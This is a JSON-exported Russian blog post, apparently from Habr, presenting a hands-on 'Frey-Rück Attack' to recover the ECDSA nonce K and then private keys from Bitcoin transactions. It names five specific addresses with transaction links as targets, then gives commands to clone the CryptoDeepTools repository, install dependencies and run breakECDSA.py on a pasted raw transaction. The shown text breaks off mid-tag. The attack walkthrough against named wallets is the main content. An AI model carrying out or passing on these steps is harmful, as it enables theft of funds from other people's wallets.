{"id":340131,"date":"2022-10-23T21:00:27","date_gmt":"2022-10-23T21:00:27","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=340131"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=340131","title":{"rendered":"<span>\u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c Frey-R\u00fcck Attack \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u201cK\u201d (NONCE)<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ffb\/73e\/cca\/ffb73ecca0b43641258bcc505bc3b9f4.png\" width=\"1280\" height=\"720\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ffb\/73e\/cca\/ffb73ecca0b43641258bcc505bc3b9f4.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><u>Frey-R\u00fcck Attack<\/u><\/a>\u00a0\u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0\u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430. \u0412 \u043d\u0430\u0448\u0438\u0445 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u043c\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0438 \u0442\u0435\u043c\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>. \u041f\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0440\u0435\u0448\u0438\u0442\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0<em>\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447\u00a0<\/em><code>\"K\" (NONCE)<\/code>, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a, \u0442\u0430\u043a \u043a\u0430\u043a \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447.<\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432 \u0438\u0437\u00a0<a href=\"https:\/\/attacksafe.ru\/list-of-bitcoin-attacks\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d<\/u><\/strong><\/a>, \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u201cFrey-R\u00fcck Attack on Bitcoin\u201d<\/u><\/strong><\/a>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f64\/d88\/87e\/f64d8887e5f0123a32778e5bb6b46ade.png\" alt=\"www.attacksafe.ru\/frey-ruck-attack-on-bitcoin\" title=\"www.attacksafe.ru\/frey-ruck-attack-on-bitcoin\" width=\"731\" height=\"743\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f64\/d88\/87e\/f64d8887e5f0123a32778e5bb6b46ade.png\"\/><figcaption>www.attacksafe.ru\/frey-ruck-attack-on-bitcoin<\/figcaption><\/figure>\n<h3>\u041c\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0433\u0440\u0443\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u043a \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438<\/h3>\n<p><a href=\"https:\/\/cryptodeep.ru\/publication\" rel=\"noopener noreferrer nofollow\">\u0418\u0437 \u043d\u0430\u0448\u0435\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043d\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e<\/a> \u0447\u0442\u043e \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0438 \u0441\u043b\u0430\u0431\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 <a href=\"https:\/\/cryptodeep.ru\/publication\" rel=\"noopener noreferrer nofollow\">\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0430<\/a> \u043c\u044b \u043d\u0430\u0448\u043b\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432, \u0433\u0434\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0\u0431\u044b\u043b\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0<em>\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430<\/em>\u00a0<code>\"K\" (NONCE).<\/code><\/p>\n<hr\/>\n<h3>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u044f\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432:<\/h3>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041a\u0430\u0436\u0434\u044b\u0439 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u043b \u043f\u043e \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438:<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/39b\/857\/851\/39b85785103c695ea2f4572a636caf71.png\" alt=\"\" title=\"\" width=\"1015\" height=\"181\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/39b\/857\/851\/39b85785103c695ea2f4572a636caf71.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e75\/6e5\/b18\/e756e5b18a251974534933c7b15ee71a.png\" alt=\"\" title=\"\" width=\"1012\" height=\"190\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e75\/6e5\/b18\/e756e5b18a251974534933c7b15ee71a.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/516\/572\/31d\/51657231d966d7e13332297aee45cd34.png\" alt=\"\" title=\"\" width=\"1014\" height=\"181\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/516\/572\/31d\/51657231d966d7e13332297aee45cd34.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/450\/de4\/4d6\/450de44d6e885150d0b17ac1c2f81018.png\" alt=\"\" title=\"\" width=\"1009\" height=\"175\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/450\/de4\/4d6\/450de44d6e885150d0b17ac1c2f81018.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/70c\/244\/f8c\/70c244f8c1de365e3ef7133a7e1bee19.png\" alt=\"\" title=\"\" width=\"1006\" height=\"177\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/70c\/244\/f8c\/70c244f8c1de365e3ef7133a7e1bee19.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ff4\/8db\/4b1\/ff48db4b1720900d864872a143cf4e4e.png\" alt=\"\" title=\"\" width=\"1008\" height=\"174\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ff4\/8db\/4b1\/ff48db4b1720900d864872a143cf4e4e.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/752\/0f2\/68a\/7520f268ae227ecc62cce5c2ff0506ac.png\" alt=\"\" title=\"\" width=\"1008\" height=\"178\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/752\/0f2\/68a\/7520f268ae227ecc62cce5c2ff0506ac.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9c4\/d3f\/a74\/9c4d3fa746a552903ce4bd07f9fabd97.png\" alt=\"\" title=\"\" width=\"1009\" height=\"174\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9c4\/d3f\/a74\/9c4d3fa746a552903ce4bd07f9fabd97.png\"\/><figcaption><\/figcaption><\/figure>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/97e\/803\/90f\/97e80390fb5a23a83288fcce54148556.png\" alt=\"\" title=\"\" width=\"1009\" height=\"176\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/97e\/803\/90f\/97e80390fb5a23a83288fcce54148556.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5e7\/0fd\/abc\/5e70fdabcea54199c1979342c5b77a00.png\" alt=\"\" title=\"\" width=\"1009\" height=\"173\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5e7\/0fd\/abc\/5e70fdabcea54199c1979342c5b77a00.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u201cK\u201d (NONCE) \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\"><strong><u>[TerminalGoogleColab]<\/u><\/strong><\/a>.<\/p>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><strong><u>Frey-R\u00fcck Attack<\/u><\/strong><\/a>\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/14FreyRuckAttack\" rel=\"noopener noreferrer nofollow\"><strong><u>14FreyRuckAttack<\/u><\/strong><\/a><\/p>\n<pre><code>git clone https:\/\/github.com\/demining\/CryptoDeepTools.git cd CryptoDeepTools\/14FreyRuckAttack\/ ls<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/127\/37a\/34a\/12737a34a7ea8f262615c8510270863e.png\" alt=\"\" title=\"\" width=\"1024\" height=\"500\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/127\/37a\/34a\/12737a34a7ea8f262615c8510270863e.png\"\/><figcaption><\/figcaption><\/figure>\n<h4>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0432\u0441\u0435 \u043d\u0443\u0436\u043d\u044b\u0435 \u043d\u0430\u043c \u043f\u0430\u043a\u0435\u0442\u044b<\/h4>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6cc\/7ff\/65e\/6cc7ff65eda8487b43d60591a13f0d56.png\" alt=\"requirements.txt\" title=\"requirements.txt\" width=\"327\" height=\"194\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6cc\/7ff\/65e\/6cc7ff65eda8487b43d60591a13f0d56.png\"\/><figcaption>requirements.txt<\/figcaption><\/figure>\n<pre><code>wget https:\/\/bootstrap.pypa.io\/pip\/2.7\/get-pip.py sudo python2 get-pip.py pip2 install -r requirements.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0d9\/527\/38e\/0d952738efe23b1a91aeb0c3322d02db.png\" alt=\"\" title=\"\" width=\"1024\" height=\"560\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0d9\/527\/38e\/0d952738efe23b1a91aeb0c3322d02db.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/226\/ea6\/a9e\/226ea6a9e0a7e985e3e43f497360893e.png\" alt=\"\" title=\"\" width=\"958\" height=\"470\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/226\/ea6\/a9e\/226ea6a9e0a7e985e3e43f497360893e.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a91\/015\/6f1\/a910156f1f48682bb9adfbbe9f5d43d9.png\" alt=\"\" title=\"\" width=\"1024\" height=\"441\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a91\/015\/6f1\/a910156f1f48682bb9adfbbe9f5d43d9.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/094\/34b\/b0d\/09434bb0d8811e70373ca2a71956c9ed.png\" alt=\"\" title=\"\" width=\"1024\" height=\"430\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/094\/34b\/b0d\/09434bb0d8811e70373ca2a71956c9ed.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<h3><\/h3>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/662\/51d\/76c\/66251d76caff72a208fa09b4e8ca9dd8.png\" alt=\"\" title=\"\" width=\"1024\" height=\"80\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/662\/51d\/76c\/66251d76caff72a208fa09b4e8ca9dd8.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ec6\/b13\/714\/ec6b137140d5a402d3770477b38976a2.png\" alt=\"\" title=\"\" width=\"1024\" height=\"263\" 